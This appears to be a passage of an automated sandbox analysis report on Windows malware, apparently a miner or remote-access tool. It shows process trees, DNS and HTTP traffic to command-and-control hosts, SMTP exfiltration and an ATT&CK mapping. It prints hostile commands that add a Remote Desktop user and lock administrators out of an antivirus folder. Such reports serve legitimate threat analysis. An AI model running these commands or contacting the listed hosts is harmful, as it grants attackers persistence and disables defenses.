C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1756854931-410578500-17915993546010673608331882572077835254-1128988547-35756421"
1⤵
PID:1416

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
1⤵
PID:1140

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "202453814912528809441647206036-1050558555131982110012632404318658682451815349296"
1⤵
PID:1608

C:\Windows\system32\taskeng.exe
taskeng.exe {597DA105-5B2A-4BA3-B08B-2417486179D4} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:1048
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  PID:1328
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:1424
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:812
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:608
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:1588
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:1816

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-124296505610342331968933317591107956828-52894884491722994-20928388912106711"
1⤵
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\system32\icacls.exe
icacls "C:\Program Files\COMODO" /deny Администраторы:(OI)(CI)(F)
1⤵
- Modifies file permissions
PID:1684

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-902441803-11678789611258317660-18238811661348456516234449814-1300473935-822503980"
1⤵
PID:1428

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1159121524-759945126-13172212491615150329771746021-1658449660-10684971701692080653"
1⤵
PID:1160

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2130256299231884879581390569343078776-1013424783-6824351472020411922-874334954"
1⤵
PID:1012

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "5633380821543259236-528447817-888819045-19918191311220846837-80247822-1517578496"
1⤵
PID:1184

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1191009988-12892586441187830158-19214496121369635577-10113005632045285097-1247764166"
1⤵
PID:2044

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1144980770494529091648156182-1028753600-748235213446532358-1072001999129081038"
1⤵
PID:1996

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1365893494836350716-168832320912940455072029519679-1257888362-271322857-1492615023"
1⤵
PID:1412

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Registers new Print Monitor
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:688

Network

DNS

ip-api.com

smss.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1
GET

http://ip-api.com/json

update.exe

Remote address:

208.95.112.1:80

Request

GET /json HTTP/1.1
User-Agent: AutoIt
Host: ip-api.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Mon, 28 Nov 2022 09:55:33 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 323
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
DNS

taskmgr.xyz

taskhost.exe

Remote address:

8.8.8.8:53

Request

taskmgr.xyz

IN A

Response

taskmgr.xyz

IN A

45.90.216.98
GET

http://taskmgr.xyz/rvneth/STATUS.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /rvneth/STATUS.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:55:50 GMT
Content-Type: text/html
Content-Length: 6
Last-Modified: Sun, 13 Nov 2022 08:16:34 GMT
Connection: keep-alive
ETag: "6370a7e2-6"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/LTC.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /LTC.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:55:58 GMT
Content-Type: text/html
Content-Length: 34
Last-Modified: Thu, 03 Nov 2022 15:20:44 GMT
Connection: keep-alive
ETag: "6363dc4c-22"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/BTC.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /BTC.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:55:59 GMT
Content-Type: text/html
Content-Length: 34
Last-Modified: Thu, 03 Nov 2022 15:20:43 GMT
Connection: keep-alive
ETag: "6363dc4b-22"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/BTC2.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /BTC2.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:01 GMT
Content-Type: text/html
Content-Length: 34
Last-Modified: Thu, 03 Nov 2022 15:20:43 GMT
Connection: keep-alive
ETag: "6363dc4b-22"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/BTC3.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /BTC3.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:03 GMT
Content-Type: text/html
Content-Length: 42
Last-Modified: Thu, 03 Nov 2022 15:20:43 GMT
Connection: keep-alive
ETag: "6363dc4b-2a"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/ETH.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /ETH.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:04 GMT
Content-Type: text/html
Content-Length: 42
Last-Modified: Thu, 03 Nov 2022 15:20:44 GMT
Connection: keep-alive
ETag: "6363dc4c-2a"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/ZEC.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /ZEC.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:06 GMT
Content-Type: text/html
Content-Length: 35
Last-Modified: Thu, 03 Nov 2022 15:20:44 GMT
Connection: keep-alive
ETag: "6363dc4c-23"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/DOGE.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /DOGE.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:07 GMT
Content-Type: text/html
Content-Length: 34
Last-Modified: Thu, 03 Nov 2022 15:20:44 GMT
Connection: keep-alive
ETag: "6363dc4c-22"
Accept-Ranges: bytes
GET

http://taskmgr.xyz/rvneth/configCPUX3.html

taskhost.exe

Remote address:

45.90.216.98:80

Request

GET /rvneth/configCPUX3.html HTTP/1.1
User-Agent: AutoIt
Host: taskmgr.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3
Date: Mon, 28 Nov 2022 09:56:08 GMT
Content-Type: text/html
Content-Length: 111
Last-Modified: Sun, 13 Nov 2022 08:16:33 GMT
Connection: keep-alive
ETag: "6370a7e1-6f"
Accept-Ranges: bytes
DNS

ftpsystem.xyz

taskhost.exe

Remote address:

8.8.8.8:53

Request

ftpsystem.xyz

IN A

Response

ftpsystem.xyz

IN A

162.255.119.99
GET

http://ftpsystem.xyz/ETERNAL_STATUS.html

taskhost.exe

Remote address:

162.255.119.99:80

Request

GET /ETERNAL_STATUS.html HTTP/1.1
User-Agent: AutoIt
Host: ftpsystem.xyz
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Mon, 28 Nov 2022 09:55:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 67
Connection: keep-alive
Location: http://www.ftpsystem.xyz/ETERNAL_STATUS.html
X-Served-By: Namecheap URL Forward
Server: namecheap-nginx
DNS

www.ftpsystem.xyz

taskhost.exe

Remote address:

8.8.8.8:53

Request

www.ftpsystem.xyz

IN A

Response

www.ftpsystem.xyz

IN CNAME

parkingpage.namecheap.com

parkingpage.namecheap.com

IN A

198.54.117.216

parkingpage.namecheap.com

IN A

198.54.117.210

parkingpage.namecheap.com

IN A

198.54.117.212

parkingpage.namecheap.com

IN A

198.54.117.215

parkingpage.namecheap.com

IN A

198.54.117.217

parkingpage.namecheap.com

IN A

198.54.117.218

parkingpage.namecheap.com

IN A

198.54.117.211
GET

http://www.ftpsystem.xyz/ETERNAL_STATUS.html

taskhost.exe

Remote address:

198.54.117.216:80

Request

GET /ETERNAL_STATUS.html HTTP/1.1
User-Agent: AutoIt
Connection: Keep-Alive
Cache-Control: no-cache
Host: www.ftpsystem.xyz
DNS

iplogger.org

update.exe

Remote address:

8.8.8.8:53

Request

iplogger.org

IN A

Response

iplogger.org

IN A

148.251.234.83
DNS

ip-api.com

smss.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1
GET

http://ip-api.com/json

smss.exe

Remote address:

208.95.112.1:80

Request

GET /json HTTP/1.1
User-Agent: AutoIt
Host: ip-api.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Mon, 28 Nov 2022 09:56:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 323
Access-Control-Allow-Origin: *
X-Ttl: 14
X-Rl: 43
DNS

freemail.freehost.com.ua

smss.exe

Remote address:

8.8.8.8:53

Request

freemail.freehost.com.ua

IN A

Response

freemail.freehost.com.ua

IN A

194.0.200.251
DNS

iplogger.org

update.exe

Remote address:

8.8.8.8:53

Request

iplogger.org

IN A

Response

iplogger.org

IN A

148.251.234.83

208.95.112.1:80

http://ip-api.com/json

http

update.exe

269 B
632 B
4
3

HTTP Request

GET http://ip-api.com/json

HTTP Response

200
45.90.216.98:80

http://taskmgr.xyz/rvneth/configCPUX3.html

http

taskhost.exe

2.0kB
5.9kB
25
22

HTTP Request

GET http://taskmgr.xyz/rvneth/STATUS.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/LTC.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/BTC.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/BTC2.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/BTC3.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/ETH.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/ZEC.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/DOGE.html

HTTP Response

200

HTTP Request

GET http://taskmgr.xyz/rvneth/configCPUX3.html

HTTP Response

200
162.255.119.99:80

http://ftpsystem.xyz/ETERNAL_STATUS.html

http

taskhost.exe

655 B
499 B
12
4

HTTP Request

GET http://ftpsystem.xyz/ETERNAL_STATUS.html

HTTP Response

302
198.54.117.216:80

http://www.ftpsystem.xyz/ETERNAL_STATUS.html

http

taskhost.exe

269 B
132 B
3
3

HTTP Request

GET http://www.ftpsystem.xyz/ETERNAL_STATUS.html
148.251.234.83:443

iplogger.org

tls

cmd.exe

393 B
219 B
5
5
148.251.234.83:443

iplogger.org

tls

cmd.exe

355 B
219 B
5
5
148.251.234.83:443

iplogger.org

tls

cmd.exe

288 B
219 B
5
5
148.251.234.83:443

iplogger.org

cmd.exe

190 B
92 B
4
2
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
208.95.112.1:80

http://ip-api.com/json

http

smss.exe

315 B
592 B
5
2

HTTP Request

GET http://ip-api.com/json

HTTP Response

200
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
194.0.200.251:465

freemail.freehost.com.ua

tls, smtps

smss.exe

5.0kB
7.6kB
23
23
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
148.251.234.83:443

iplogger.org

tls

update.exe

393 B
219 B
5
5
148.251.234.83:443

iplogger.org

tls

update.exe

355 B
219 B
5
5
148.251.234.83:443

iplogger.org

tls

update.exe

288 B
219 B
5
5
148.251.234.83:443

iplogger.org

update.exe

190 B
92 B
4
2
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

152 B
120 B
3
3
45.144.30.30:5655

winserv.exe

104 B
80 B
2
2

8.8.8.8:53

ip-api.com

dns

smss.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1
8.8.8.8:53

taskmgr.xyz

dns

taskhost.exe

57 B
73 B
1
1

DNS Request

taskmgr.xyz

DNS Response

45.90.216.98
8.8.8.8:53

ftpsystem.xyz

dns

taskhost.exe

59 B
75 B
1
1

DNS Request

ftpsystem.xyz

DNS Response

162.255.119.99
8.8.8.8:53

www.ftpsystem.xyz

dns

taskhost.exe

63 B
214 B
1
1

DNS Request

www.ftpsystem.xyz

DNS Response

198.54.117.216

198.54.117.210

198.54.117.212

198.54.117.215

198.54.117.217

198.54.117.218

198.54.117.211
8.8.8.8:53

iplogger.org

dns

update.exe

58 B
74 B
1
1

DNS Request

iplogger.org

DNS Response

148.251.234.83
8.8.8.8:53

ip-api.com

dns

smss.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1
8.8.8.8:53

freemail.freehost.com.ua

dns

smss.exe

70 B
86 B
1
1

DNS Request

freemail.freehost.com.ua

DNS Response

194.0.200.251
8.8.8.8:53

iplogger.org

dns

update.exe

58 B
74 B
1
1

DNS Request

iplogger.org

DNS Response

148.251.234.83

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Query Registry

System Information Discovery